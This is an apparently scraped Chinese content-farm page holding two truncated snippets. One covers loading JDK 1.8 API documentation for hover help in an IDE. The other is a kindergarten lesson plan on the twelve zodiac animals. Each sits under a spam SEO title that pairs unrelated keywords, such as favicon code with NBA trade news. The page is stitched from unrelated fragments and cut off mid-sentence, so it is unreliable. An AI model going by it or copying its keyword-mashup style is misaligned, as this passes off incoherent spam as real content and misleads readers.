http://httpsegmenter.googlecode.com/svn/...

网站开发给网站设置图标在什么文件中写代码/nba最新交易新闻

需要实现的效果如图&#xff0c;当光标停留在System上时出现文档说明&#xff0c;以下jdk1.8举例 实现&#xff1a; 1、先下载一个jdk api 1.8_google.CHM文件 2、cmd中执行命令 先进入该目录下&#xff0c;然后执行下面命令&#xff0c;其中html1.8文档可以自定义&#xff0…...

网页模版素材下载/seo网址优化靠谱

点击上面蓝色小字或微信搜索【幼儿教案】关注公众号每天免费8篇优质教案幼儿园中班语言活动教案&#xff1a;十二生肖设计意图在几千年的中国传统文化中&#xff0c;生肖不仅是一种形象生动的纪年、纪月的方法&#xff0c;更已与每个人结合起来&#xff0c;赋予了一种神奇的性格…...